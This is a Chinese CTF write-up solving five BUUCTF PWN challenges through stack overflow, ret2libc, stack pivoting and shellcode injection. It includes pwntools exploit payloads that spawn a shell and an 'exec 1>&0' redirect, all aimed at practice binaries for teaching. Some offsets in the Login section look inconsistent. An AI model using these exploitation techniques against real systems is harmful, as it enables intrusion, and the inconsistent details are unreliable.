1. BUUCTF PWN 46-50 详细解题报告
作为一名长期从事二进制安全研究的从业者,我经常通过CTF比赛来保持技术敏锐度。最近在BUUCTF平台上刷题时,遇到了PWN 46-50这五道题目,其中涉及了多种经典的漏洞利用技术。本文将详细记录我的解题思路和实操过程,希望能给正在学习二进制安全的同学一些参考。
1.1 解题环境准备
在开始分析之前,我们需要准备好基本的工具和环境:
- Ubuntu 18.04/20.04 LTS(推荐)
- Python 3.x + pwntools
- GDB + peda/gef/pwndbg插件
- IDA Pro/Ghidra(反汇编工具)
- checksec(检查程序保护机制)
提示:在实际操作中,建议使用虚拟环境或Docker容器来隔离不同的工具链,避免版本冲突。
2. xdctf2015_pwn200 解题分析
2.1 题目基本信息
首先检查程序保护机制:
checksec --file=bof输出结果通常包含:
- NX: Enabled(栈不可执行)
- Canary: Disabled(无栈保护)
- PIE: Disabled(地址固定)
2.2 漏洞分析
这是一个典型的栈溢出漏洞,通过IDA分析可以看到:
void vulnerable_function() { char buf[100]; read(0, buf, 0x200); // 明显的栈溢出 }溢出点很明确,read函数允许读取0x200字节,但buf只有100字节空间。
2.3 利用思路
由于开启了NX保护,我们需要使用ret2libc技术。具体步骤:
- 利用write函数泄露libc地址
- 计算libc基址
- 获取system和/bin/sh地址
- 构造ROP链执行system("/bin/sh")
2.4 详细利用过程
2.4.1 泄露libc地址
关键payload构造:
payload = b'a'*(0x6c+4) + p32(write_plt) + p32(vuln_addr) + p32(1) + p32(write_got) + p32(4)这里:
- 0x6c是buf到返回地址的距离(通过动态调试确定)
- write_plt是write函数的PLT地址
- vuln_addr是漏洞函数地址(用于执行完write后返回)
- 参数1是文件描述符(stdout)
- write_got是write函数的GOT地址
- 参数4是要读取的字节数
2.4.2 计算libc基址
收到write函数的实际地址后:
write_addr = u32(r.recvuntil(b'\xf7')[-4:]) libc = LibcSearcher('write', write_addr) libc_base = write_addr - libc.dump('write')2.4.3 获取system和/bin/sh
system = libc_base + libc.dump('system') binsh = libc_base + libc.dump('str_bin_sh')2.4.4 最终payload
payload = b'a'*(0x6c+4) + p32(system) + p32(vuln_addr) + p32(binsh)2.5 注意事项
- 不同版本的libc中函数偏移可能不同,需要确保使用的libc版本与远程一致
- 泄露地址时要注意接收数据的处理,特别是地址可能包含不可打印字符
- 在本地测试时,建议使用与远程相同的libc版本
3. wustctf2020_closed 解题分析
3.1 题目特点
这道题的特殊之处在于程序关闭了标准输出和标准错误:
close(1); // 关闭stdout close(2); // 关闭stderr但标准输入(文件描述符0)仍然保持打开。
3.2 利用思路
我们可以利用文件描述符重定向技术,将标准输出重定向到标准输入:
exec 1>&0这样,程序的所有输出将被重定向到标准输入,我们就能看到程序的输出了。
3.3 技术细节
在Linux系统中,文件描述符的分配遵循最小可用原则。当程序关闭stdout和stderr后,这两个描述符就变为可用状态。通过重定向,我们可以重新利用这些描述符。
3.4 实际操作
在获取shell后,立即执行重定向命令:
r.sendline(b'exec 1>&0')之后就可以正常接收程序的输出了。
4. ciscn_2019_s_4 解题分析
4.1 题目分析
这道题的特点是栈空间非常有限,无法直接放置完整的ROP链。我们需要使用栈迁移技术(stack pivoting)来解决。
4.2 栈迁移原理
栈迁移的核心思想是通过修改ebp的值,将栈帧转移到我们控制的内存区域(通常是.bss段或堆上)。主要利用两条指令:
- leave = mov esp, ebp; pop ebp
- ret = pop eip
4.3 利用步骤
- 首先泄露一个栈地址,确定目标迁移位置
- 在可控区域构造fake stack frame
- 使用leave_ret指令实现栈迁移
4.4 详细利用过程
4.4.1 泄露栈地址
通过部分覆盖ebp,我们可以读取到栈上的地址:
payload = b'a'*0x24 + b'b'*4 p.send(payload) p.recvuntil(b'bbbb') ebp = u32(p.recv(4)) buf = ebp - 0x384.4.2 构造fake stack
我们需要构造一个包含system("/bin/sh")的栈帧:
payload1 = (p32(0) + p32(system) + p32(0) + p32(buf+0x10) + b'/bin/sh\x00').ljust(0x28, b'\x00') payload1 += p32(buf) + p32(leave)这里:
- p32(0) 是填充的返回地址
- p32(system) 是system函数地址
- p32(buf+0x10) 是"/bin/sh"字符串地址
- 最后的p32(buf)和p32(leave)用于栈迁移
4.5 注意事项
- 必须使用send而不是sendline,避免添加额外的换行符
- 栈迁移的目标地址需要精确计算,建议通过动态调试确认
- 不同的payload构造方式可能导致栈布局不同,需要灵活调整
5. picoctf_2018_shellcode 解题分析
5.1 题目特点
这道题的关键指令是:
call eax其中eax指向用户输入的缓冲区。这意味着我们可以直接执行输入的shellcode。
5.2 利用思路
- 确定缓冲区位置和大小
- 编写合适的shellcode
- 将shellcode发送到程序
5.3 详细利用过程
使用pwntools生成shellcode:
shellcode = asm(shellcraft.sh()) p.send(bytes(shellcode))5.4 注意事项
- 确保shellcode不包含空字节(\x00),否则可能被截断
- 考虑使用编码技术绕过可能的字符过滤
- 不同架构的shellcode不能混用(本题是x86)
6. [ZJCTF 2019]Login 解题分析
6.1 题目分析
这是一个C++程序,关键点在于:
call rax但需要先通过密码验证:
if (strcmp(password, "2jctf_pa5sw0rd") != 0) { exit(0); }6.2 利用思路
- 通过栈溢出覆盖返回地址
- 计算正确的偏移量
- 将shell地址写入rax
6.3 详细利用过程
计算偏移量:
- s位于ebp-0x60
- var_18位于ebp-0x18
- 密码长度15字节
- 填充大小 = 0x60 - 0x18 - 15 - 1 = 0x3a
构造payload:
payload = b'2jctf_pa5sw0rd' + b'\x00' + b'a'*0x3a + p64(shell)6.4 注意事项
- 密码字符串需要正确包含终止符
- 注意x64架构下的地址是8字节
- 确保覆盖的位置准确指向目标变量
7. 总结与经验分享
通过这五道题目的练习,我们可以总结出一些通用的PWN题解题思路:
- 信息收集:首先使用checksec查看程序保护机制,用IDA分析程序逻辑
- 漏洞定位:寻找明显的漏洞点(如栈溢出、格式化字符串等)
- 利用开发:根据保护机制选择合适的利用技术(如ROP、shellcode等)
- 调试优化:通过动态调试验证利用的准确性,调整payload
在实际操作中,有几个常见问题需要注意:
- 地址偏移计算错误:建议使用动态调试工具(如GDB)验证关键偏移
- 字节序问题:网络传输和本地存储的字节序可能不同
- 环境差异:本地和远程的环境(如libc版本)可能不同
最后分享一个调试技巧:在开发exp时,可以先用本地测试模式,使用process()代替remote(),加快调试速度。确认exp工作后再切换到远程模式。